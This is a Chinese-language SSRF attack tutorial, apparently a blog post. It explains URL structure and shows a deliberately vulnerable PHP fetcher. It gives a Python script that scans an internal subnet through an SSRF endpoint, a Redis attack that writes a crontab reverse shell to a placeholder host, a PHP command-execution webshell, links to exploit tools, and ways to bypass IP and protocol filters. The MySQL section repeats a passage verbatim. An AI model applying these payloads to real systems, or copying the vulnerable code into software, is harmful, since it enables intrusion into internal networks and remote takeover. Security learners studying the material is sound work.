文章目录
- 1.概述
- 2.原理
- 2.1 认识URL
- 2.2 代码示例
- 3.寻找和测试
- 4.攻击方式
- 4.1 内部服务资产探测
- 4.2 Gopher协议扩展
- 4.3.1 攻击Redis
- 4.3.2 攻击Mysql
- 4.3.3 PHP-FPM攻击
- 4.3.4 攻击内网中的脆弱Web应用
- 5.SSRF绕过
- 5.1 IP的限制
- 5.2 302跳转
- 5.3 URL的解析问题
1.概述
服务端请求伪造,一种攻击者通过构造数据进而伪造服务端发起请求的漏洞。请求从内部发起,所以SSRF漏洞攻击的目标一般是外网无法访问的内部系统。
产生漏洞的原因多是服务端提供了从外部服务获取数据的功能,但没有对目标地址、协议等重要参数进行过滤和限制,从而导致攻击者可以自由构造参数,而发起预期外的请求。
2.原理
2.1 认识URL
URL的结构如下所示:
URI = scheme:[//authority]path[?query][#fragment]
authority组件分为以下3部分:
[userinfo@]host[:port]
- scheme:一串大小写不敏感的字符组成,表示获取资源所需要的协议。
- authority:userinfo是可选项遇到的比较少。
- host:表示在那个服务器上获取资源,常见域名形式,也有IPv4和IPv6地址。
- port:端口号。
- Path:指向资源的路径,一般使用‘/’进行分层。
- query:查询字符串,将用户输入的数据传递给服务端,以“?”作为表示。
- fragment:片段ID,与query不同的是,其内容不会被传递到服务端,一般用于表示页面的锚点。
2.2 代码示例
<?php
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,false);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
$res = curl_exec($ch);
header('content-type:image/png');
curl_close($ch);
echo $res;
?>
如果将URL参数设置为一个图片地址,将直接打印该图片。
因为获取图片地址的URL参数未做任何过滤,所以攻击者可以通过修改该地址或协议来发起SSRF攻击。如:file:///etc/passwd
3.寻找和测试
SSRF漏洞一般出现在有调用外部资源的场景中,如社交服务分享图片、图片识别服务、网站采集服务、远程资源请求(如wordpress xmlrpc.php)、文件处理服务(如XML解析)等。进行测试的时候,可以尝试一下几种协议:
- file:// :从文件系统中获取文件内容。
- dict:// : 字典服务器协议,让客户端能够访问更多字典源。在SSRF可以获取目标服务器上运行的服务版本等信息。
- gopher:// :分布式的文档传递服务,使用Gopher协议时,通过控制访问的URL可实现向指定的服务器发送任意内容,如HTTP请求、MySQL请求等。
4.攻击方式
4.1 内部服务资产探测
可以直接探测网站所在服务器端口的开放情况甚至内网资产情况,如确定该处存在SSRF漏洞,则可以通过确定请求成功与失败的返回信息进行判断服务开放情况。如下python脚本是一个简单的利用程序。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests as req
import time
ports = ['80','3306','6379','8080','8000']
session = req.Session()
for i in range(255):
ip = '172.28.22.%d' % i
for port in ports:
url = 'http://47.94.144.61/ssrf/1.php?url=http://%s:%s' % (ip,port)
try:
res = session.get(url,timeout=3)
if len(res.content) > 0:
print(ip, port, 'is open')
except:
continue
print('DONE')
4.2 Gopher协议扩展
4.3.1 攻击Redis
Redis一般运行在内网,使用者大多将其绑定在127.0.0.1:6379,一般都是空口令。在攻击Redis的时候,一般是写入Crontab反弹shell,通常的攻击流程如下:
redis-cli flushall
echo -e "\n\n*/1 * * * * bash -i /dev/tcp/x.x.x.x/1234 0>&1\n\n" | redis-cli -x set 1
redis-cli -p 1234 config set dir /var/spool/cron
redis-cli -p 1234 config set dbfilename root
redis-cli -p 1234 save
此时我们使用socat获取数据包,命令如下:
socat -v tcp-listen:1234,fork tcp-connect:localhost:6379
然后将其中的数据转换成Gopher协议的URL。先舍弃开头为“>”和“<”的数据,这表示请求和返回,再舍弃掉+OK的数据,表示返回的信息。在剩下的数据中,将“\r”替换为“%0d”,将“\n”(换行)替换为“%0a”,其中的“$”进行URL编码。最后使用curl命令将将构造好的字符串填入进行一次攻击。
4.3.2 攻击Mysql
MySQL分为客户端和服务端,由客户端连接服务端有4种方式:UNIX套接字、内存共享、命名管道、TCP/IP套接字。我们将依靠第四种方式实现攻击。当mysqlserver不需进行密码认证时,将直接使用第4种方式发送数据包。所以,在非交互模式下登录操作MySQL数据库只能在空密码未授权的情况下进行。
假设想查询目标服务器上数据库中user表的信息,我们先在本地新建一张user表,再使用tcpdump进行抓包,并将抓到的流量写入/pcap/mysql.pcap文件。
tcpdump -i lo port 3306 -w /pcap/mysql.pcap
之后登陆Mysql进行查询操作,然后使用wireshark打开/pcap/mysql.pcap数据包,过滤MySQL,再随便选择一个包并单击右键,在弹出的快捷菜单中选择“追踪流 → TCP流”,过滤出客户端到服务端的数据包,最后将格式调整为HEX转储,然后使用wireshark打开/pcap/mysql.pcap数据包,过滤MySQL,再随便选择一个包并单击右键,在弹出的快捷菜单中选择“追踪流 → TCP流”,过滤出客户端到服务端的数据包,最后将格式调整为HEX转储,之后再进行拼接攻击。
4.3.3 PHP-FPM攻击
利用条件:
- Libcurl,版本高于7.45.0;
- PHP-FPM,监听端口,版本高于5.3.3;
- 知道服务器上任意一个PHP文件的绝对路径。
- 利用exp:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
4.3.4 攻击内网中的脆弱Web应用
如果内网中存在一个任意命令执行漏洞的web应用,代码如下:
<?php
var_dump(shell_exec($_POST['command']));
?>
在本地监听任意端口,然后对此端口发起一次POST请求,以抓取请求数据包:
根据上面规则将其修改成Gopher协议的URL,执行unname -a命令:
自动组装Gopher协议的脚本:https://github.com/tarunkant/Gopherus
5.SSRF绕过
5.1 IP的限制
- 使用Enclosed alphanumerics代替IP中的数字或网址中的字母。
- 使用句号代替点。
- 如果服务端过滤方式使用正则表达式过滤属于内网的IP地址,那么可以尝试将IP地址转换为进制的方式进行绕过,如将127.0.0.1转换为十六进制后进行请求。
- IP地址有一些特殊的写法,如在Windows下,0代表0.0.0.0,而在Linux下,0代表127.0.0.1。所以,某些情况下可以用http://0进行请求127.0.0.1。类似127.0.0.1这种中间部分含有0的地址,可以将0省略。
5.2 302跳转
- 网络上存在一个名叫xip.io的服务,当访问这个服务的任意子域名时,都会重定向到这个子域名,如127.0.0.1.xip.io。
- 这种方式可能存在一个问题,即在传入的URL中存在关键字127.0.0.1,一般会被过滤,那么,我们可以使用短网址将其重定向到指定的IP地址,如短网址http://dwz.cn/11SMa。
- 有时服务端可能过滤了很多协议,如传入的URL中只允许出现“http”或“https”,那么可以在自己的服务器上写一个302跳转,利用Gopher协议攻击内网的Redis。
5.3 URL的解析问题
可以看上篇博客ssrf题目复现